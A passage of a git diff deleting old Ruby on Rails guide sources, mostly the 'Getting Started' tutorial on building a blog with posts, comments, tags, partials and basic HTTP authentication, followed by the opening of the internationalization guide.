- content: "A new post", created_at: nil,
- updated_at: nil>
->> p.save
-=> false
->> p.errors
-=> #<OrderedHash { :title=>["can't be blank",
- "is too short (minimum is 5 characters)"],
- :name=>["can't be blank"] }>
-</shell>
-
-This code shows creating a new +Post+ instance, attempting to save it and
-getting +false+ for a return value (indicating that the save failed), and
-inspecting the +errors+ of the post.
-
-When you're finished, type +exit+ and hit +return+ to exit the console.
-
-TIP: Unlike the development web server, the console does not automatically load
-your code afresh for each line. If you make changes to your models while the
-console is open, type +reload!+ at the console prompt to load them.
-
-h4. Listing All Posts
-
-The easiest place to start looking at functionality is with the code that lists
-all posts. Open the file +app/controllers/posts_controller.rb+ and look at the
-+index+ action:
-
-<ruby>
-def index
- @posts = Post.all
-
- respond_to do |format|
- format.html # index.html.erb
- format.json { render :json => @posts }
- end
-end
-</ruby>
-
-+Post.all+ calls the +Post+ model to return all of the posts currently in the
-database. The result of this call is an array of posts that we store in an
-instance variable called +@posts+.
-
-TIP: For more information on finding records with Active Record, see "Active
-Record Query Interface":active_record_querying.html.
-
-The +respond_to+ block handles both HTML and JSON calls to this action. If you
-browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json,
-you'll see a JSON containing all of the posts. The HTML format looks for a view
-in +app/views/posts/+ with a name that corresponds to the action name. Rails
-makes all of the instance variables from the action available to the view.
-Here's +app/views/posts/index.html.erb+:
-
-<erb>
-<h1>Listing posts</h1>
-
-<table>
- <tr>
- <th>Name</th>
- <th>Title</th>
- <th>Content</th>
- <th></th>
- <th></th>
- <th></th>
- </tr>
-
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.name %></td>
- <td><%= post.title %></td>
- <td><%= post.content %></td>
- <td><%= link_to 'Show', post %></td>
- <td><%= link_to 'Edit', edit_post_path(post) %></td>
- <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
- :method => :delete %></td>
- </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New post', new_post_path %>
-</erb>
-
-This view iterates over the contents of the +@posts+ array to display content
-and links. A few things to note in the view:
-
-* +link_to+ builds a hyperlink to a particular destination
-* +edit_post_path+ and +new_post_path+ are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes.
-
-NOTE. In previous versions of Rails, you had to use +&lt;%=h post.name %&gt;+ so
-that any HTML would be escaped before being inserted into the page. In Rails
-3.0, this is now the default. To get unescaped HTML, you now use +&lt;%= raw
-post.name %&gt;+.
-
-TIP: For more details on the rendering process, see "Layouts and Rendering in
-Rails":layouts_and_rendering.html.
-
-h4. Customizing the Layout
-
-The view is only part of the story of how HTML is displayed in your web browser.
-Rails also has the concept of +layouts+, which are containers for views. When
-Rails renders a view to the browser, it does so by putting the view's HTML into
-a layout's HTML. In previous versions of Rails, the +rails generate scaffold+
-command would automatically create a controller specific layout, like
-+app/views/layouts/posts.html.erb+, for the posts controller. However this has
-been changed in Rails 3.0. An application specific +layout+ is used for all the
-controllers and can be found in +app/views/layouts/application.html.erb+. Open
-this layout in your editor and modify the +body+ tag:
-
-<erb>
-<!DOCTYPE html>
-<html>
-<head>
- <title>Blog</title>
- <%= stylesheet_link_tag "application" %>
- <%= javascript_include_tag "application" %>
- <%= csrf_meta_tags %>
-</head>
-<body style="background: #EEEEEE;">
-
-<%= yield %>
-
-</body>
-</html>
-</erb>
-
-Now when you refresh the +/posts+ page, you'll see a gray background to the
-page. This same gray background will be used throughout all the views for posts.
-
-h4. Creating New Posts
-
-Creating a new post involves two actions. The first is the +new+ action, which
-instantiates an empty +Post+ object:
-
-<ruby>
-def new
- @post = Post.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.json { render :json => @post }
- end
-end
-</ruby>
-
-The +new.html.erb+ view displays this empty Post to the user:
-
-<erb>
-<h1>New post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', posts_path %>
-</erb>
-
-The +&lt;%= render 'form' %&gt;+ line is our first introduction to _partials_ in
-Rails. A partial is a snippet of HTML and Ruby code that can be reused in
-multiple locations. In this case, the form used to make a new post is basically
-identical to the form used to edit a post, both having text fields for the name and
-title, a text area for the content, and a button to create the new post or to update
-the existing one.
-
-If you take a look at +views/posts/_form.html.erb+ file, you will see the
-following:
-
-<erb>
-<%= form_for(@post) do |f| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
- <% end %>
-
- <div class="field">
- <%= f.label :name %><br />
- <%= f.text_field :name %>
- </div>
- <div class="field">
- <%= f.label :title %><br />
- <%= f.text_field :title %>
- </div>
- <div class="field">
- <%= f.label :content %><br />
- <%= f.text_area :content %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
-</erb>
-
-This partial receives all the instance variables defined in the calling view
-file. In this case, the controller assigned the new +Post+ object to +@post+,
-which will thus be available in both the view and the partial as +@post+.
-
-For more information on partials, refer to the "Layouts and Rendering in
-Rails":layouts_and_rendering.html#using-partials guide.
-
-The +form_for+ block is used to create an HTML form. Within this block, you have
-access to methods to build various controls on the form. For example,
-+f.text_field :name+ tells Rails to create a text input on the form and to hook
-it up to the +name+ attribute of the instance being displayed. You can only use
-these methods with attributes of the model that the form is based on (in this
-case +name+, +title+, and +content+). Rails uses +form_for+ in preference to
-having you write raw HTML because the code is more succinct, and because it
-explicitly ties the form to a particular model instance.
-
-The +form_for+ block is also smart enough to work out if you are doing a _New
-Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit
-button names appropriately in the HTML output.
-
-TIP: If you need to create an HTML form that displays arbitrary fields, not tied
-to a model, you should use the +form_tag+ method, which provides shortcuts for
-building forms that are not necessarily tied to a model instance.
-
-When the user clicks the +Create Post+ button on this form, the browser will
-send information back to the +create+ action of the controller (Rails knows to
-call the +create+ action because the form is sent with an HTTP POST request;
-that's one of the conventions that were mentioned earlier):
-
-<ruby>
-def create
- @post = Post.new(params[:post])
-
- respond_to do |format|
- if @post.save
- format.html { redirect_to(@post,
- :notice => 'Post was successfully created.') }
- format.json { render :json => @post,
- :status => :created, :location => @post }
- else
- format.html { render :action => "new" }
- format.json { render :json => @post.errors,
- :status => :unprocessable_entity }
- end
- end
-end
-</ruby>
-
-The +create+ action instantiates a new Post object from the data supplied by the
-user on the form, which Rails makes available in the +params+ hash. After
-successfully saving the new post, +create+ returns the appropriate format that
-the user has requested (HTML in our case). It then redirects the user to the
-resulting post +show+ action and sets a notice to the user that the Post was
-successfully created.
-
-If the post was not successfully saved, due to a validation error, then the
-controller returns the user back to the +new+ action with any error messages so
-that the user has the chance to fix the error and try again.
-
-The "Post was successfully created." message is stored in the Rails
-+flash+ hash (usually just called _the flash_), so that messages can be carried
-over to another action, providing the user with useful information on the status
-of their request. In the case of +create+, the user never actually sees any page
-rendered during the post creation process, because it immediately redirects to
-the new +Post+ as soon as Rails saves the record. The Flash carries over a message to
-the next action, so that when the user is redirected back to the +show+ action,
-they are presented with a message saying "Post was successfully created."
-
-h4. Showing an Individual Post
-
-When you click the +show+ link for a post on the index page, it will bring you
-to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call
-to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter.
-Here's the +show+ action:
-
-<ruby>
-def show
- @post = Post.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.json { render :json => @post }
- end
-end
-</ruby>
-
-The +show+ action uses +Post.find+ to search for a single record in the database
-by its id value. After finding the record, Rails displays it by using
-+show.html.erb+:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-
-<%= link_to 'Edit', edit_post_path(@post) %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-h4. Editing Posts
-
-Like creating a new post, editing a post is a two-part process. The first step
-is a request to +edit_post_path(@post)+ with a particular post. This calls the
-+edit+ action in the controller:
-
-<ruby>
-def edit
- @post = Post.find(params[:id])
-end
-</ruby>
-
-After finding the requested post, Rails uses the +edit.html.erb+ view to display
-it:
-
-<erb>
-<h1>Editing post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
-</erb>
-
-Again, as with the +new+ action, the +edit+ action is using the +form+ partial.
-This time, however, the form will do a PUT action to the +PostsController+ and the
-submit button will display "Update Post".
-
-Submitting the form created by this view will invoke the +update+ action within
-the controller:
-
-<ruby>
-def update
- @post = Post.find(params[:id])
-
- respond_to do |format|
- if @post.update_attributes(params[:post])
- format.html { redirect_to(@post,
- :notice => 'Post was successfully updated.') }
- format.json { render :json => {}, :status => :ok }
- else
- format.html { render :action => "edit" }
- format.json { render :json => @post.errors,
- :status => :unprocessable_entity }
- end
- end
-end
-</ruby>
-
-In the +update+ action, Rails first uses the +:id+ parameter passed back from
-the edit view to locate the database record that's being edited. The
-+update_attributes+ call then takes the +post+ parameter (a hash) from the request
-and applies it to this record. If all goes well, the user is redirected to the
-post's +show+ action. If there are any problems, it redirects back to the +edit+ action to
-correct them.
-
-h4. Destroying a Post
-
-Finally, clicking one of the +destroy+ links sends the associated id to the
-+destroy+ action:
-
-<ruby>
-def destroy
- @post = Post.find(params[:id])
- @post.destroy
-
- respond_to do |format|
- format.html { redirect_to posts_url }
- format.json { head :ok }
- end
-end
-</ruby>
-
-The +destroy+ method of an Active Record model instance removes the
-corresponding record from the database. After that's done, there isn't any
-record to display, so Rails redirects the user's browser to the index action of
-the controller.
-
-h3. Adding a Second Model
-
-Now that you've seen how a model built with scaffolding looks like, it's time to
-add a second model to the application. The second model will handle comments on
-blog posts.
-
-h4. Generating a Model
-
-Models in Rails use a singular name, and their corresponding database tables use
-a plural name. For the model to hold comments, the convention is to use the name
-+Comment+. Even if you don't want to use the entire apparatus set up by
-scaffolding, most Rails developers still use generators to make things like
-models and controllers. To create the new model, run this command in your
-terminal:
-
-<shell>
-$ rails generate model Comment commenter:string body:text post:references
-</shell>
-
-This command will generate four files:
-
-* +app/models/comment.rb+ - The model.
-* +db/migrate/20100207235629_create_comments.rb+ - The migration.
-* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
-
-First, take a look at +comment.rb+:
-
-<ruby>
-class Comment < ActiveRecord::Base
- belongs_to :post
-end
-</ruby>
-
-This is very similar to the +post.rb+ model that you saw earlier. The difference
-is the line +belongs_to :post+, which sets up an Active Record _association_.
-You'll learn a little about associations in the next section of this guide.
-
-In addition to the model, Rails has also made a migration to create the
-corresponding database table:
-
-<ruby>
-class CreateComments < ActiveRecord::Migration
- def change
- create_table :comments do |t|
- t.string :commenter
- t.text :body
- t.references :post
-
- t.timestamps
- end
-
- add_index :comments, :post_id
- end
-end
-</ruby>
-
-The +t.references+ line sets up a foreign key column for the association between
-the two models. And the +add_index+ line sets up an index for this association
-column. Go ahead and run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Rails is smart enough to only execute the migrations that have not already been
-run against the current database, so in this case you will just see:
-
-<shell>
-== CreateComments: migrating =================================================
--- create_table(:comments)
- -> 0.0017s
-== CreateComments: migrated (0.0018s) ========================================
-</shell>
-
-h4. Associating Models
-
-Active Record associations let you easily declare the relationship between two
-models. In the case of comments and posts, you could write out the relationships
-this way:
-
-* Each comment belongs to one post.
-* One post can have many comments.
-
-In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the Comment model that
-makes each comment belong to a Post:
-
-<ruby>
-class Comment < ActiveRecord::Base
- belongs_to :post
-end
-</ruby>
-
-You'll need to edit the +post.rb+ file to add the other side of the association:
-
-<ruby>
-class Post < ActiveRecord::Base
- validates :name, :presence => true
- validates :title, :presence => true,
- :length => { :minimum => 5 }
-
- has_many :comments
-end
-</ruby>
-
-These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable +@post+ containing a post, you can retrieve all
-the comments belonging to that post as an array using +@post.comments+.
-
-TIP: For more information on Active Record associations, see the "Active Record
-Associations":association_basics.html guide.
-
-h4. Adding a Route for Comments
-
-As with the +home+ controller, we will need to add a route so that Rails knows
-where we would like to navigate to see +comments+. Open up the
-+config/routes.rb+ file again. Near the top, you will see the entry for +posts+
-that was added automatically by the scaffold generator: <tt>resources
-:posts</tt>. Edit it as follows:
-
-<ruby>
-resources :posts do
- resources :comments
-end
-</ruby>
-
-This creates +comments+ as a _nested resource_ within +posts+. This is another
-part of capturing the hierarchical relationship that exists between posts and
-comments.
-
-TIP: For more information on routing, see the "Rails Routing from the Outside
-In":routing.html guide.
-
-h4. Generating a Controller
-
-With the model in hand, you can turn your attention to creating a matching
-controller. Again, there's a generator for this:
-
-<shell>
-$ rails generate controller Comments
-</shell>
-
-This creates six files and one empty directory:
-
-* +app/controllers/comments_controller.rb+ - The controller.
-* +app/helpers/comments_helper.rb+ - A view helper file.
-* +test/functional/comments_controller_test.rb+ - The functional tests for the controller.
-* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper.
-* +app/views/comments/+ - Views of the controller are stored here.
-* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller.
-* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller.
-
-Like with any blog, our readers will create their comments directly after
-reading the post, and once they have added their comment, will be sent back to
-the post show page to see their comment now listed. Due to this, our
-+CommentsController+ is there to provide a method to create comments and delete
-spam comments when they arrive.
-
-So first, we'll wire up the Post show template
-(+/app/views/posts/show.html.erb+) to let us make a new comment:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <div class="field">
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </div>
- <div class="field">
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-This adds a form on the +Post+ show page that creates a new comment by
-calling the +CommentsController+ +create+ action. Let's wire that up:
-
-<ruby>
-class CommentsController < ApplicationController
- def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
- end
-end
-</ruby>
-
-You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up. Each request for a
-comment has to keep track of the post to which the comment is attached, thus the
-initial call to the +find+ method of the +Post+ model to get the post in question.
-
-In addition, the code takes advantage of some of the methods available for an
-association. We use the +create+ method on +@post.comments+ to create and save
-the comment. This will automatically link the comment so that it belongs to that
-particular post.
-
-Once we have made the new comment, we send the user back to the original post
-using the +post_path(@post)+ helper. As we have already seen, this calls the
-+show+ action of the +PostsController+ which in turn renders the +show.html.erb+
-template. This is where we want the comment to show, so let's add that to the
-+app/views/posts/show.html.erb+.
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<% @post.comments.each do |comment| %>
- <p>
- <b>Commenter:</b>
- <%= comment.commenter %>
- </p>
-
- <p>
- <b>Comment:</b>
- <%= comment.body %>
- </p>
-<% end %>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <div class="field">
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </div>
- <div class="field">
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-Now you can add posts and comments to your blog and have them show up in the
-right places.
-
-h3. Refactoring
-
-Now that we have posts and comments working, take a look at the
-+app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
-use partials to clean it up.
-
-h4. Rendering Partial Collections
-
-First we will make a comment partial to extract showing all the comments for the
-post. Create the file +app/views/comments/_comment.html.erb+ and put the
-following into it:
-
-<erb>
-<p>
- <b>Commenter:</b>
- <%= comment.commenter %>
-</p>
-
-<p>
- <b>Comment:</b>
- <%= comment.body %>
-</p>
-</erb>
-
-Then you can change +app/views/posts/show.html.erb+ to look like the
-following:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <div class="field">
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </div>
- <div class="field">
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-This will now render the partial in +app/views/comments/_comment.html.erb+ once
-for each comment that is in the +@post.comments+ collection. As the +render+
-method iterates over the <tt>@post.comments</tt> collection, it assigns each
-comment to a local variable named the same as the partial, in this case
-+comment+ which is then available in the partial for us to show.
-
-h4. Rendering a Partial Form
-
-Let us also move that new comment section out to its own partial. Again, you
-create a file +app/views/comments/_form.html.erb+ containing:
-
-<erb>
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <div class="field">
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </div>
- <div class="field">
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
-</erb>
-
-Then you make the +app/views/posts/show.html.erb+ look like the following:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-<br />
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-The second render just defines the partial template we want to render,
-<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
-string and realize that you want to render the <tt>_form.html.erb</tt> file in
-the <tt>app/views/comments</tt> directory.
-
-The +@post+ object is available to any partials rendered in the view because we
-defined it as an instance variable.
-
-h3. Deleting Comments
-
-Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a +DELETE+ action
-in the +CommentsController+.
-
-So first, let's add the delete link in the
-+app/views/comments/_comment.html.erb+ partial:
-
-<erb>
-<p>
- <b>Commenter:</b>
- <%= comment.commenter %>
-</p>
-
-<p>
- <b>Comment:</b>
- <%= comment.body %>
-</p>
-
-<p>
- <%= link_to 'Destroy Comment', [comment.post, comment],
- :confirm => 'Are you sure?',
- :method => :delete %>
-</p>
-</erb>
-
-Clicking this new "Destroy Comment" link will fire off a <tt>DELETE
-/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
-controller:
-
-<ruby>
-class CommentsController < ApplicationController
-
- def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
- end
-
- def destroy
- @post = Post.find(params[:post_id])
- @comment = @post.comments.find(params[:id])
- @comment.destroy
- redirect_to post_path(@post)
- end
-
-end
-</ruby>
-
-The +destroy+ action will find the post we are looking at, locate the comment
-within the <tt>@post.comments</tt> collection, and then remove it from the
-database and send us back to the show action for the post.
-
-
-h4. Deleting Associated Objects
-
-If you delete a post then its associated comments will also need to be deleted.
-Otherwise they would simply occupy space in the database. Rails allows you to
-use the +dependent+ option of an association to achieve this. Modify the Post
-model, +app/models/post.rb+, as follows:
-
-<ruby>
-class Post < ActiveRecord::Base
- validates :name, :presence => true
- validates :title, :presence => true,
- :length => { :minimum => 5 }
- has_many :comments, :dependent => :destroy
-end
-</ruby>
-
-h3. Security
-
-If you were to publish your blog online, anybody would be able to add, edit and
-delete posts or delete comments.
-
-Rails provides a very simple HTTP authentication system that will work nicely in
-this situation.
-
-In the +PostsController+ we need to have a way to block access to the various
-actions if the person is not authenticated, here we can use the Rails
-<tt>http_basic_authenticate_with</tt> method, allowing access to the requested
-action if that method allows it.
-
-To use the authentication system, we specify it at the top of our
-+PostsController+, in this case, we want the user to be authenticated on every
-action, except for +index+ and +show+, so we write that:
-
-<ruby>
-class PostsController < ApplicationController
-
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
-
- # GET /posts
- # GET /posts.json
- def index
- @posts = Post.all
- respond_to do |format|
-# snipped for brevity
-</ruby>
-
-We also only want to allow authenticated users to delete comments, so in the
-+CommentsController+ we write:
-
-<ruby>
-class CommentsController < ApplicationController
-
- http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
-
- def create
- @post = Post.find(params[:post_id])
-# snipped for brevity
-</ruby>
-
-Now if you try to create a new post, you will be greeted with a basic HTTP
-Authentication challenge
-
-!images/challenge.png(Basic HTTP Authentication Challenge)!
-
-h3. Building a Multi-Model Form
-
-Another feature of your average blog is the ability to tag posts. To implement
-this feature your application needs to interact with more than one model on a
-single form. Rails offers support for nested forms.
-
-To demonstrate this, we will add support for giving each post multiple tags,
-right in the form where you create the post. First, create a new model to hold
-the tags:
-
-<shell>
-$ rails generate model tag name:string post:references
-</shell>
-
-Again, run the migration to create the database table:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Next, edit the +post.rb+ file to create the other side of the association, and
-to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to
-edit tags via posts:
-
-<ruby>
-class Post < ActiveRecord::Base
- validates :name, :presence => true
- validates :title, :presence => true,
- :length => { :minimum => 5 }
-
- has_many :comments, :dependent => :destroy
- has_many :tags
-
- accepts_nested_attributes_for :tags, :allow_destroy => :true,
- :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
-</ruby>
-
-The +:allow_destroy+ option on the nested attribute declaration tells Rails to
-display a "remove" checkbox on the view that you'll build shortly. The
-+:reject_if+ option prevents saving new tags that do not have any attributes
-filled in.
-
-We will modify +views/posts/_form.html.erb+ to render a partial to make a tag:
-
-<erb>
-<% @post.tags.build %>
-<%= form_for(@post) do |post_form| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
- <% end %>
-
- <div class="field">
- <%= post_form.label :name %><br />
- <%= post_form.text_field :name %>
- </div>
- <div class="field">
- <%= post_form.label :title %><br />
- <%= post_form.text_field :title %>
- </div>
- <div class="field">
- <%= post_form.label :content %><br />
- <%= post_form.text_area :content %>
- </div>
- <h2>Tags</h2>
- <%= render :partial => 'tags/form',
- :locals => {:form => post_form} %>
- <div class="actions">
- <%= post_form.submit %>
- </div>
-<% end %>
-</erb>
-
-Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to
-make it easier to understand what is going on.
-
-This example shows another option of the render helper, being able to pass in
-local variables, in this case, we want the local variable +form+ in the partial
-to refer to the +post_form+ object.
-
-We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make
-sure there is a new tag ready to have its name filled in by the user. If you do
-not build the new tag, then the form will not appear as there is no new Tag
-object ready to create.
-
-Now create the folder <tt>app/views/tags</tt> and make a file in there called
-<tt>_form.html.erb</tt> which contains the form for the tag:
-
-<erb>
-<%= form.fields_for :tags do |tag_form| %>
- <div class="field">
- <%= tag_form.label :name, 'Tag:' %>
- <%= tag_form.text_field :name %>
- </div>
- <% unless tag_form.object.nil? || tag_form.object.new_record? %>
- <div class="field">
- <%= tag_form.label :_destroy, 'Remove:' %>
- <%= tag_form.check_box :_destroy %>
- </div>
- <% end %>
-<% end %>
-</erb>
-
-Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to
-show our tags.
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<p>
- <b>Tags:</b>
- <%= @post.tags.map { |t| t.name }.join(", ") %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-With these changes in place, you'll find that you can edit a post and its tags
-directly on the same view.
-
-However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is
-awkward, we could handle this by making a helper method.
-
-h3. View Helpers
-
-View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable
-code for views. In our case, we want a method that strings a bunch of objects
-together using their name attribute and joining them with a comma. As this is
-for the Post show template, we put it in the PostsHelper.
-
-Open up <tt>app/helpers/posts_helper.rb</tt> and add the following:
-
-<erb>
-module PostsHelper
- def join_tags(post)
- post.tags.map { |t| t.name }.join(", ")
- end
-end
-</erb>
-
-Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like
-this:
-
-<erb>
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<p>
- <b>Tags:</b>
- <%= join_tags(@post) %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
-</erb>
-
-h3. What's Next?
-
-Now that you've seen your first Rails application, you should feel free to
-update it and experiment on your own. But you don't have to do everything
-without help. As you need assistance getting up and running with Rails, feel
-free to consult these support resources:
-
-* The "Ruby on Rails guides":index.html
-* The "Ruby on Rails Tutorial":http://railstutorial.org/book
-* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
-* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net
-* The "Rails Wiki":http://wiki.rubyonrails.org/
-
-Rails also comes with built-in help that you can generate using the rake command-line utility:
-
-* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides.
-* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation.
-
-h3. Configuration Gotchas
-
-The easiest way to work with Rails is to store all external data as UTF-8. If
-you don't, Ruby libraries and Rails will often be able to convert your native
-data into UTF-8, but this doesn't always work reliably, so you're better off
-ensuring that all external data is UTF-8.
-
-If you have made a mistake in this area, the most common symptom is a black
-diamond with a question mark inside appearing in the browser. Another common
-symptom is characters like "ü" appearing instead of "ü". Rails takes a number
-of internal steps to mitigate common causes of these problems that can be
-automatically detected and corrected. However, if you have external data that is
-not stored as UTF-8, it can occasionally result in these kinds of issues that
-cannot be automatically detected by Rails and corrected.
-
-Two very common sources of data that are not UTF-8:
-* Your text editor: Most text editors (such as Textmate), default to saving files as
- UTF-8. If your text editor does not, this can result in special characters that you
- enter in your templates (such as é) to appear as a diamond with a question mark inside
- in the browser. This also applies to your I18N translation files.
- Most editors that do not already default to UTF-8 (such as some versions of
- Dreamweaver) offer a way to change the default to UTF-8. Do so.
-* Your database. Rails defaults to converting data from your database into UTF-8 at
- the boundary. However, if your database is not using UTF-8 internally, it may not
- be able to store all characters that your users enter. For instance, if your database
- is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
- character, the data will be lost forever once it enters the database. If possible,
- use UTF-8 as the internal storage of your database.
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
deleted file mode 100644
index 2d4cc13571..0000000000
--- a/railties/guides/source/i18n.textile
+++ /dev/null
@@ -1,931 +0,0 @@
-h2. Rails Internationalization (I18n) API
-
-The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
-
-The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
-
-So, in the process of _internationalizing_ your Rails application you have to:
-
-* Ensure you have support for i18n
-* Tell Rails where to find locale dictionaries
-* Tell Rails how to set, preserve and switch locales
-
-In the process of _localizing_ your application you'll probably want to do the following three things:
-
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
-* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
-* Store the resulting dictionaries somewhere
-
-This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
